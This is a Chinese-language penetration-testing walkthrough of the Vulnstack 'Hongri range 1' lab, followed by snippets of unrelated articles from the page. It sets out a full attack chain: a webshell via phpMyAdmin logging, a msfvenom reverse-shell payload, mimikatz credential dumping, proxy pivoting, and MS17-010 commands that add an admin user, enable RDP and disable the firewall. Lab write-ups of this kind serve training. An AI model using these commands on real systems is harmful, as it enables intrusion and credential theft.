红日靶场1(搭建打靶)
搭建
靶场下载:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ (13G,需要百度网盘会员)
下载好靶场文件后直接解压
直接用虚拟机打开靶场
更改网络ip
需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网
将 Win7 的网络适配器 1 设置成 VMnet1 仅主机模式(内网),网络适配器 2 设置成 NAT 模式(外网)
而 Win2003、Win2008 网络适配器设置成VMnet1仅主机模式(内网)。
网络配置完成,这三台虚拟主机默认开机密码都是 hongrisec@2019(开机提示密码已过期,更改为 hongricse@2024即可,密码太简单会设置错误)
在之后可能会用到桥接模式,可以根据情况设置
在win7把环境启动,其中可以设置一个桥接模式,方便打靶
查看IP
访问192.168.129.158
这几台机器都是有防火墙的,这里先看一下win7的防火墙和入站规则
接着可以在外面访问一下192.168.129.158
到这里靶场就搭建成功了
开始打靶
攻击机 kali
web服务器 win7
域成员 win2003
域控 win2008
目的:先穿过防火墙打下web服务器接着再穿过防火墙拿下域内的机器(域成员和域控)。
打靶方法:
- 端口扫描
- web路径的发现
- phpmyadmin渗透
日志导出getshell
- yxcms渗透
编辑模板getshell
- 上线msf
- msf渗透利用
- msf psexec模板利用
- ms17_010_command模板利用
打靶
由于在打靶前知道了ip所以直接就不进行信息收集了
直接来扫描端口
nmap -p- 192.168.129.158 -o result.txt/nmap -sV -Pn 192.168.129.158
有80和3306端口开放
phpmyadmin渗透
访问192.168.129.158:80,得到的是一个phpstudy探针的页面,可以知道绝对路径
测试一下数据库的连接情况,使用root/root弱口令,连接测试成功
使用dirsearch工具或者御剑扫描一下存在的web服务
[08:42:52] 200 - 71KB - /phpinfo.php
[08:42:52] 301 - 242B - /phpMyAdmin -> http://192.168.129.158/phpMyAdmin/
[08:42:52] 301 - 242B - /phpmyadmin -> http://192.168.129.158/phpmyadmin/
[08:42:53] 200 - 32KB - /phpmyadmin/ChangeLog
[08:42:53] 200 - 2KB - /phpmyadmin/README
[08:42:53] 200 - 4KB - /phpmyAdmin/
[08:42:53] 200 - 4KB - /phpMyAdmin/index.php
[08:42:53] 200 - 4KB - /phpMyadmin/
[08:42:53] 200 - 4KB - /phpmyadmin/
[08:42:53] 200 - 4KB - /phpmyadmin/index.php
[08:42:53] 200 - 4KB - /phpMyAdmin/
扫描到这么多文件,接着就是访问
访问 http://192.168.129.158/phpMyAdmin/
使用刚刚得到的弱口令进行登录root/root
日志导出getshell
查看日志导出
show variables like ‘general%’;
发现日志导出没有打开,接着就要开启日志导出
set global general_log=“ON”;
接着设置web路径
set global general_log_file=“C:/phpStudy/www/404.php”;
执行select 1;
访问http://192.168.129.158/404.php查看日志
接着执行select “<?php phpinfo();?>”;
接着刷新http://192.168.129.158/404.php查看日志的导出
以上几步操作说明web是可以用日志导出getshell的
最简单的就是可以写入一句话木马执行,接着就可以用工具(蚁剑)连接到后台,得到文件
yxcms渗透
访问192.168.129.158/yxcms
查看网页发现用户和密码
根据网页提示访问得到新的网页
直接admin/123456登录
成功登录后台
进入前台模板——>模板管理——>编辑文件
这里可以直接打开编辑写入webshell
访问http://192.168.129.158/yxcms/protected/apps/default/view/default/info.php 页面什么都没有显示
使用hackbar,传入刚刚写入的phpinfo
接着用蚁剑连接
可以进入文件管理和虚拟终端,在虚拟终端可以看到用户名及身份
msf上线
先进入msf工具使用页面
在kali使用msf工具生成木马文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.129.148 LPORT=4444 -f exe > 11.exe
成功将木马文件上传到web服务器
文件成功在终端显示
在kali上开启监听
msfconsole #开启msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options #可以查看一下写的内容
set lhost 192.168.33.133 #ip写kali的
set lport 3333 #监听端口
run #启动
设置好kali执行文件,getshell
内网信息收集
net time /domain #查看时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
net view /domain:GOD #查看GOD域情况
nslookup 主机名 #查看域内其他主机 可能ip查不出来
net group “domain computers” /domain #查看域内所有的主机名
net group “domain admins” /domain #查看域管理员
net group “domain controllers” /domain #查看域控
获取目标主机的shell
shell #进入模拟终端
chcp 65001 #解决乱码
route print # 打印路由信息
可知内网网段应该是 192.168.52.0/24
首先判断是否在域中,域控制器一般集成了DNS服务,通过 ipconfig /all,即可简单判断
域名为god.org,还可以使用下面这种方法查看
net view /domain #查询当前主机是否加入域,如果加入则列出域名
查看域内信息
net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域
接着定位域控
域控的域名即 owa.god.org ,用 ping 即可反查出域控(server 2008)ip为192.168.52.138
再来看一下域内的其它主机,OWA是域控,STU1是win7,所以剩下的就是域成员得到ip为192.168.52.141
再来看一下域管理员,可以看到这里我们获得的 Administrator 就是域控OWA的域管理员
net group “domain admins” /domain #查询域管理员
看一下域里有几个用户
net user /domain #查看域用户,只有域管才能执行
提权
getuid #查看服务器权限
getsystem #提权
getuid #查看是否提权成功
成功得到系统权限
获取域用户的密码信息
方法一:加载 kiwi模块
load kiwi #加载kiwi模块
creds_all #列出所有凭据
方法二:加载mimikatz模块,再尝试加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程
ps #查看进程
migrate PID
load mimikatz
kiwi_cmd sekurlsa::logonpasswords
方法一不知道为什么一直显示不出来
方法二:
ps
得到账户及登录密码,密码和我一开始更改的一样
目前为止,获得的内网信息有:
域名:god.org
域内有五个用户:Administrator、Guest、liukaifeng01、ligang、krbtgt
域内三台主机:OWA、ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143
跨网段横向渗透
msf添加代理
添加路由
run autoroute -s 192.168.52.0/24 #添加路由
run autoroute -p #查看路由信息
配置代理
background
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1(这里因为是本机可以写本地ip)
run
jobs
然后在 proxychains 的配置文件 /etc/proxychains.conf,添加本机的1080端口:
socks4 127.0.0.1 1080
域成员渗透
首先看下域成员开放的端口,全扫很久,这里只扫描一些高危端口
proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.141
这里看见开着445端口,试着用一下ms17_010
use auxiliary/admin/smb/ms17_010_command
set COMMAND net user
set RHOST 192.168.52.141
run
添加一个用户尝试远程登录一下
还是使用这个模块,依次执行下面命令
set command net user bbb qwer@123 /add #添加用户
run
set command net localgroup administrators bbb /add #管理员权限
run
set command ‘REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’ #开启3389端口
run
set command netsh advfirewall set allprofiles state off #关闭防火墙
run
接着远程登录
proxychains rdesktop 192.168.52.141
使用刚刚添加的新用户进行登录,而且原来的用户账户及密码也拿到了
对于另一台机器192.168.52.138的获取也是一样的操作
先连接创建新用户,赋予其权限
Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’ #开启3389端口
run
set command netsh advfirewall set allprofiles state off #关闭防火墙
run
[外链图片转存中…(img-DoUuluZW-1734439783074)][外链图片转存中…(img-pquuSHzj-1734439783074)][外链图片转存中…(img-QvoP0AOc-1734439783074)]接着远程登录
proxychains rdesktop 192.168.52.141
使用刚刚添加的新用户进行登录,而且原来的用户账户及密码也拿到了
对于另一台机器192.168.52.138的获取也是一样的操作
先连接创建新用户,赋予其权限
然后直接远程登录
相关文章:

红日靶场1(搭建打靶)
搭建 靶场下载: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ (13G,需要百度网盘会员) 下载好靶场文件后直接解压 直接用虚拟机打开靶场 更改网络ip 需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要…...
LivePortrait 部署笔记
LivePortrait 开源地址: https://github.com/KwaiVGI/LivePortrait 模型下载: export HF_ENDPOINThttps://hf-mirror.com huggingface-cli download --resume-download KwaiVGI/LivePortrait --local-dir models--KwaiVGI--LivePortrait...

Greenhills Lib操作-查看Lib信息与将lib中的data段link到指定区域
文章目录 前言Greenhillls中gsize的用法修改ld文件将lib中的data段指定区域示例定义与链接总结 前言 项目开发过程中,遇到客户开发ASW,提供Lib进行集成,但ASW中的标定量没有定义对应的data段,导致无法将标定量指定到特定的内存。…...

【十进制整数转换为其他进制数——短除形式的贪心算法】
之前写过一篇用贪心算法计算十进制转换二进制的方法,详见:用贪心算法计算十进制数转二进制数(整数部分)_短除法求二进制-CSDN博客 经过一段时间的研究,本人又发现两个规律: 1、不仅仅十进制整数转二进制可…...

【JavaEE】网络(2)
一、网络编程套接字 1.1 基础概念 【网络编程】指网络上的主机,通过不同的进程,以编程的方式实现网络通信;当然,我们只要满足进程不同就行,所以即便是同一个主机,只要是不同进程,基于网络来传…...

AI for Science 的完美实践——科研文献的智慧化提取获得“综述性文摘”的软件开发
实践是检验真理的唯一标准!show your codes! 1 综述性文摘的需求 再简单不过了。 甲方(综述性文摘)需求:针对项目特征或描述,从几百篇相关的科研论文(PDF)中智能提取相关内容,包括…...
前端使用xlsx.js实现 Excel 文件的导入与导出功能
前端使用xlsx.js实现 Excel 文件的导入与导出功能 在现代的 Web 开发中,处理文件上传和导出功能已经变得越来越常见,尤其是 Excel 文件的导入与导出。 我们将使用 Vue.js 和 XLSX.js 库来处理 Excel 文件的读取和生成。XLSX.js 是一个强大的 JavaScrip…...
React简单了解
原理简化了解 import React from "react" import { createRoot } form "react-dom/client"const element React.createElement(p,{id: hello},Hello World! )const container document.querySelector(#root) const root createRoot(container) root.r…...
backbone 和Run-Length Encoding (RLE)含义
在深度学习中,特别是在图像分割任务中,backbone(主干网络)是指用于特征提取的预训练神经网络模型。Backbone 的主要作用是从输入图像中提取有用的特征,这些特征随后会被用于更高层次的任务,如分类、检测或分…...

在Centos7上安装MySQL数据库 How to install MySQL on Centos 7
执行以下命令,下载并安装MySQL。 wget http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm && yum -y install mysql57-community-release-el7-10.noarch.rpm && yum install -y mysql-community-server --nogpgcheck执行以下…...
Linux docker-20.10.9安装
Linux Docker20.10.9安装 解压文件 tar -xvf docker-20.10.9.tgz 给docker执行文件赋予可执行权限 chmod 755 -R docker/复制docker到/usr/bin/目录下,使docker命令可以执行 cp docker/* /usr/bin/将Docker注册为service,创建docker.service文件 vim /etc/syst…...

操作系统(13)虚拟存储器
前言 操作系统中的虚拟存储器是一项关键技术,它为用户提供了一个远大于实际物理内存容量的逻辑内存空间。 一、定义与原理 虚拟存储器是具有请求调入功能和置换功能,能从逻辑上对内存容量加以扩充的存储器系统。其逻辑容量由内存容量与外存容量之和决定&…...

《面向对象综合训练01~05》
《面向对象综合训练01~05》 训练01:文字版格斗游戏 第一步:创建游戏角色的javabean类 public class Role {private String name;private int blood;private char gender;private String face;//长相是随机的//创建男女长相的随机数组String[] boyfaces…...

电脑为什么会提示“msvcr120.dll缺失”?“找不到msvcr120.dll文件”要怎么解决?
电脑故障排查指南:揭秘“msvcr120.dll缺失”的真相与解决方案 在软件开发与日常维护的广阔天地里,遇到系统报错或文件缺失的情况可谓家常便饭。今天,我将带领大家深入探讨一个常见的系统提示——“msvcr120.dll缺失”,并揭秘其背…...

huggingface NLP-微调一个预训练模型
微调一个预训练模型 1 预处理数据 1.1 处理数据 1.1.1 fine-tune 使用tokenizer后的token 进行训练 batch tokenizer(sequences, paddingTrue, truncationTrue, return_tensors"pt")# This is new batch["labels"] torch.tensor([1, 1])optimizer A…...

【BUG记录】Apifox 参数传入 + 号变成空格的 BUG
文章目录 1. 问题描述2. 原因2.1 编码2.2 解码 3. 解决方法 1. 问题描述 之前写了一个接口,用 Apifox 请求,参数传入一个 86 的电话,结果到服务器 就变成空格了。 Java 接收请求的接口: 2. 原因 2.1 编码 进行 URL 请求的…...

Spring AI API 介绍
目录: Spring AI 框架介绍 Spring AI API 核心API简介 Spring AI 提供了很多便利的功能,主要如下: AI Model API “Model API” 提供了聊天、文本转图像、音频转录、文本转语音、嵌入等功能,且不局限于某个固定的大模型提供商…...

【MySQL】Linux使用C语言连接安装
📢博客主页:https://blog.csdn.net/2301_779549673 📢欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正! 📢本文由 JohnKi 原创,首发于 CSDN🙉 📢未来很长&#…...

2024年第十五届蓝桥杯青少组C++国赛—割点
割点 题目描述 一张棋盘由n行 m 列的网格矩阵组成,每个网格中最多放一颗棋子。当前棋盘上已有若干棋子。所有水平方向或竖直方向上相邻的棋子属于同一连通块。 现给定棋盘上所有棋子的位置,如果要使棋盘上出现两个及以上的棋子连通块,请问…...
【软件开发】做出技术决策
文章目录 专注于核心业务除非绝对必要,不要重写代码保持技术栈简单尽量减少依赖避免范围蔓延按照业务实际情况确定优先级在做出高风险决策前构建原型跨职能团队协作信任你的团队在过去的二十年里,我曾在多家初创企业担任软件开发人员、技术负责人以及首席技术官(包括创办自己…...

Python:操作 Excel 折叠
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...
基于服务器使用 apt 安装、配置 Nginx
🧾 一、查看可安装的 Nginx 版本 首先,你可以运行以下命令查看可用版本: apt-cache madison nginx-core输出示例: nginx-core | 1.18.0-6ubuntu14.6 | http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages ng…...

学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1
每日一言 生活的美好,总是藏在那些你咬牙坚持的日子里。 硬件:OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写,"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...

【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)
骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术,它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton):由层级结构的骨头组成,类似于人体骨骼蒙皮 (Mesh Skinning):将模型网格顶点绑定到骨骼上,使骨骼移动…...

JVM 内存结构 详解
内存结构 运行时数据区: Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器: 线程私有,程序控制流的指示器,分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 每个线程都有一个程序计数…...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...

什么是VR全景技术
VR全景技术,全称为虚拟现实全景技术,是通过计算机图像模拟生成三维空间中的虚拟世界,使用户能够在该虚拟世界中进行全方位、无死角的观察和交互的技术。VR全景技术模拟人在真实空间中的视觉体验,结合图文、3D、音视频等多媒体元素…...
JS红宝书笔记 - 3.3 变量
要定义变量,可以使用var操作符,后跟变量名 ES实现变量初始化,因此可以同时定义变量并设置它的值 使用var操作符定义的变量会成为包含它的函数的局部变量。 在函数内定义变量时省略var操作符,可以创建一个全局变量 如果需要定义…...

表单设计器拖拽对象时添加属性
背景:因为项目需要。自写设计器。遇到的坑在此记录 使用的拖拽组件时vuedraggable。下面放上局部示例截图。 坑1。draggable标签在拖拽时可以获取到被拖拽的对象属性定义 要使用 :clone, 而不是clone。我想应该是因为draggable标签比较特。另外在使用**:clone时要将…...
在Spring Boot中集成RabbitMQ的完整指南
前言 在现代微服务架构中,消息队列(Message Queue)是实现异步通信、解耦系统组件的重要工具。RabbitMQ 是一个流行的消息中间件,支持多种消息协议,具有高可靠性和可扩展性。 本博客将详细介绍如何在 Spring Boot 项目…...